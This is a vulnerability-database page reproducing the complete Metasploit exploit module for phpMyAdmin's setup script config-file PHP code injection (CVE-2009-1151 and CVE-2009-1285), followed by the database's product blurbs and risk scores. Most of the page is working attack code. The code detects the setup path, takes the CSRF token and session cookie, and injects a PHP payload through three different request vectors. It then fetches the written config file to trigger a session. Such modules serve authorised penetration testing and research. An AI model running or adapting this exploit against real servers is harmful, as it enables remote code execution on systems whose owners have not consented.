Lucene search
+L

phpMyAdmin Config File Code Injection

🗓️ 24 Mar 2009 00:00:00Reported by Greg Ose, pagvac, egypt <[email protected]>, Tenable, g0tmi1kType 
metasploit
 metasploit
🔗 www.rapid7.com👁 74 Views

PhpMyAdmin PHP code injection via config file setu

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'phpMyAdmin Config File Code Injection',
        'Description' => %q{
          This module exploits a vulnerability in phpMyAdmin's setup
          feature which allows an attacker to inject arbitrary PHP
          code into a configuration file. The original advisory says
          the vulnerability is present in phpMyAdmin versions
          2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.

          There was a follow up vulnerability as the patch was
          incomplete, affecting versions 3.x <= 3.1.3.1.

          The file where our payload is written
          (phpMyAdmin/config/config.inc.php) is not directly used by
          the system, so it may be a good idea to either delete it or
          copy the running config (phpMyAdmin/config.inc.php) over it
          after successful exploitation.
        },
        'Author' => [
          'Greg Ose', # Discovery (CVE-2009-1151, v2.11.x <= v3.0.x)
          'pagvac',   # milw0rm PoC (CVE-2009-1151)
          'egypt',    # metasploit
          'Tenable',  # Discovery (CVE-2009-1285, v3.1.x <= v3.1.3.1)
          'g0tmi1k'   # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-1151' ],
          [ 'OSVDB', '53076' ],
          [ 'EDB', '8921' ],
          [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-3/' ],
          [ 'URL', 'https://web.archive.org/web/20130724101149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ],
          [ 'CVE', '2009-1285' ],
          [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-4/' ],
          [ 'URL', 'https://www.tenable.com/security/research/tra-2009-02' ]
        ],
        'Privileged' => false,
        'Platform' => [ 'php' ],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'Space' => 4000, # unlimited really since our shellcode gets written to a file
          'DisableNops' => true,
          # No filtering whatsoever, so no badchars
          'Compat' =>
                        {
                          'ConnectionType' => 'find'
                        },
          'Keys' => [ 'php' ]
        },
        'Targets' => [
          [ 'Automatic (phpMyAdmin 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.1)', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-03-24',
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [ true, 'Base phpMyAdmin directory path', '/phpMyAdmin/' ]),
        # /scripts/setup.php - <= 2.11.9.4/3.0.x
        # /setup/            - >= 3.1.x
        OptString.new('SETUP_PATH', [ false, 'phpMyAdmin setup directory path (Blank to automatically detect)' ])
      ]
    )
  end

  def request_setup(uri)
    uri = normalize_uri(datastore['URI'], uri)
    vprint_status "Trying: #{uri}"
    response = send_request_raw({ 'uri' => uri })
    if response.nil?
      vprint_error 'Error with setup request (No response)'
    elsif response.code != 200
      vprint_warning "Error with setup request (HTTP #{response.code}, should be 200)"
    else
      vprint_good "Found: #{uri}"

      title = response&.get_html_document&.at_xpath('//title')&.text
      if /phpMyAdmin (?<version_str>.+?) setup/i =~ title
        version = Rex::Version.new(version_str)
        vprint_status "Found version: #{version}"

        report_service(
          host: rhost,
          port: rport,
          proto: 'tcp',
          name: 'phpMyAdmin',
          info: "phpMyAdmin #{version}",
          parents: {
            name: ssl ? 'https' : 'http',
            host: rhost,
            port: rport,
            proto: 'tcp',
            parents: {
              name: 'tcp',
              host: rhost,
              port: rport,
              proto: 'tcp',
              parents: nil
            }
          }
        )
      end
    end

    return response, version
  end

  def find_setup_path(mode: :exploit)
    if datastore['SETUP_PATH'].nil?
      vprint_status 'Attempting to automatically detect phpMyAdmin setup directory path'

      response, version = request_setup('/scripts/setup.php') # phpMyAdmin <= 2.11.9.4/3.0.x
      if mode == :exploit
        response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig)
        response, version = request_setup('/setup/') unless response&.code == 200                      # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments)
      else
        response, version = request_setup('/setup/') unless response&.code == 200                      # This will report if folder is writable
        response, version = request_setup('/setup/index.php?page=config') unless response&.code == 200 # This will not
      end
    else
      response, version = request_setup(datastore['SETUP_PATH'])
    end

    print_error 'Unable to find valid phpMyAdmin setup directory path' unless response&.code == 200

    return response, version
  end

  def check
    response, version = find_setup_path(mode: :check)
    return Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'Could not find phpMyAdmin setup page') unless response&.code == 200

    if (response.body !~ /"token"\s*value="([^"]+)"/)
      return Exploit::CheckCode::Safe("Couldn't find token and can't continue without it. Is URI set correctly?")
    elsif (response.body =~ /Cannot load or save configuration/)
      return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable!)")
    elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it.
      return Exploit::CheckCode::Detected("'config' folder permissions may not be setup correctly (not writable! - Error: 2)")
    end

    if version
      vulnerable =
        version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.4')) ||
        version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.1'))

      if vulnerable
        return Exploit::CheckCode::Appears("Target version is in range! (#{version})")
      else
        print_status "Target version is not in range (#{version})"
      end
    else
      print_error 'Could not determine version'
      return Exploit::CheckCode::Unknown("Could not determine version")
    end
  end

  def php_serialize(obj)
    case obj
    when String
      "s:#{obj.bytesize}:\"#{obj}\";"
    when Integer
      "i:#{obj};"
    when TrueClass
      'b:1;'
    when FalseClass
      'b:0;'
    when Array
      body = obj.each_with_index.map { |v, i| php_serialize(i) + php_serialize(v) }.join
      "a:#{obj.length}:{#{body}}"
    when Hash
      body = obj.map { |k, v| php_serialize(k) + php_serialize(v) }.join
      "a:#{obj.length}:{#{body}}"
    end
  end

  def valid_request(response, expected_http_code = 200)
    fail_with(Failure::Unknown, 'Error with exploit request (No response)') unless response
    return if [expected_http_code, 200].include?(response.code)

    fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, expected #{expected_http_code})")
  end

  def exploit
    response, = find_setup_path(mode: :exploit)
    fail_with(Failure::NotFound, 'Failed - Server may not be vulnerable') unless response&.code == 200
    uri = response.request[/^GET\s+(\S+)/, 1]

    # Find the CSRF token and session cookie
    fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]+)"/)
    token = ::Regexp.last_match(1)
    cookie = response.get_cookies

    case uri
    # CVE-2009-1151
    when %r{/scripts/setup\.php}
      vprint_status 'Constructing exploit (save request) for: <= 2.11.9.4/3.0.x'

      injected = "host']='';#{payload.encoded};//"

      # There is probably a great deal of randomization that can be done with this PHP serialized array
      config_hash = {
        'Servers' => [
          {
            injected => '',
            rand_text_alpha(9) => 'extension',
            'connect_type' => 'tcp',
            'compress' => false,
            'auth_type' => 'config',
            'user' => rand_text_alpha(4)
          }
        ]
      }
      config = php_serialize(config_hash)

      # Now that we've got the cookie and token, send the evil
      print_status "Sending exploit (save request): #{uri}"
      response = send_request_cgi({
        'method' => 'POST',
        'uri' => uri,
        'cookie' => cookie,
        'vars_post' => {
          'token' => token,
          'action' => 'save',
          'configuration' => config,
          'eoltype' => 'unix'
        }
      }, 3)
      valid_request(response)
    # CVE-2009-1285 #1
    when %r{/setup/index\.php\?page=config\z}
      uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post')
      print_status "Sending exploit >= 3.1.x (textconfig): #{uri}"
      response = send_request_cgi({
        'method' => 'POST',
        'uri' => uri,
        'cookie' => cookie,
        'vars_post' => {
          'token' => token,
          'eol' => 'unix',
          'textconfig' => "<?php #{payload.encoded} ?>",
          'submit_save' => 'Save'

        }
      }, 3)
      valid_request(response, 303)
    # CVE-2009-1285 #2
    when %r{/setup(?:/(?:config|index)\.php)?/?\z}
      phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1]
      fail_with(Failure::NotFound, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie

      print_status "Sending exploit >= 3.1.x (new server): #{uri}"
      response = send_request_cgi(
        {
          'method' => 'POST',
          'uri' => uri,
          'vars_get' => {
            'phpMyAdmin' => phpmyadmin_cookie,
            'check_page_refresh' => '1',
            'token' => token,
            'page' => 'servers',
            'mode' => 'add',
            'submit' => 'New server'
          },
          'cookie' => cookie,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            'check_page_refresh' => '1',
            'token' => token,
            'Servers-0-verbose' => "*/#{payload.encoded}/*",
            'Servers-0-host' => 'localhost',
            'Servers-0-port' => '',
            'Servers-0-socket' => '',
            'Servers-0-connect_type' => 'tcp',
            'Servers-0-extension' => 'mysqli',
            'Servers-0-auth_type' => 'cookie',
            'Servers-0-user' => 'root',
            'Servers-0-password' => '',
            'Servers-0-auth_swekey_config' => '',
            'submit_save' => 'Save',
            'Servers-0-SignonSession' => '',
            'Servers-0-SignonURL' => '',
            'Servers-0-LogoutURL' => '',
            'Servers-0-only_db' => '',
            'Servers-0-hide_db' => '',
            'Servers-0-AllowRoot' => 'on',
            'Servers-0-DisableIS' => 'on',
            'Servers-0-AllowDeny-order' => '',
            'Servers-0-AllowDeny-rules' => '',
            'Servers-0-ShowDatabasesCommand' => 'SHOW DATABASES',
            'Servers-0-CountTables' => 'on',
            'Servers-0-pmadb' => '',
            'Servers-0-controluser' => '',
            'Servers-0-controlpass' => '',
            'Servers-0-verbose_check' => 'on',
            'Servers-0-bookmarktable' => '',
            'Servers-0-relation' => '',
            'Servers-0-table_info' => '',
            'Servers-0-table_coords' => '',
            'Servers-0-pdf_pages' => '',
            'Servers-0-column_info' => '',
            'Servers-0-history' => '',
            'Servers-0-designer_coords' => ''
          }
        }, 3
      )
      valid_request(response, 303)

      uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php')
      print_status "Sending exploit >= 3.1.x (save config): #{uri}"
      response = send_request_cgi(
        {
          'method' => 'POST',
          'uri' => uri,
          'cookie' => cookie,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            'token' => token,
            'submit_save' => 'Save'
          }
        }, 3
      )
      valid_request(response, 303)
    else
      fail_with(Failure::Unknown, "...unsure how to exploit the target based on the URI: #{uri}")
    end

    # Very short timeout because the request may never return if we're sending a socket payload
    timeout = 0.1
    uri = normalize_uri(datastore['URI'], '/config/config.inc.php')
    print_status "Requesting our payload: #{uri}"
    response = send_request_raw({
      'global' => true, # Allow findsock payloads to work
      'uri' => uri
    }, timeout)
    # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
    if response.nil?
      vprint_warning 'The request received no response in the allotted time, and is expected, even if the exploit succeeds.'
    elsif response.code != 200
      vprint_error "Error with payload request (HTTP #{response.code}, should be 200)"
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Mar 2009 00:00Current
0.1Low risk
Vulners AI Score0.1
CVSS 27.5
CVSS 3.19.8
EPSS0.96565
SSVC
74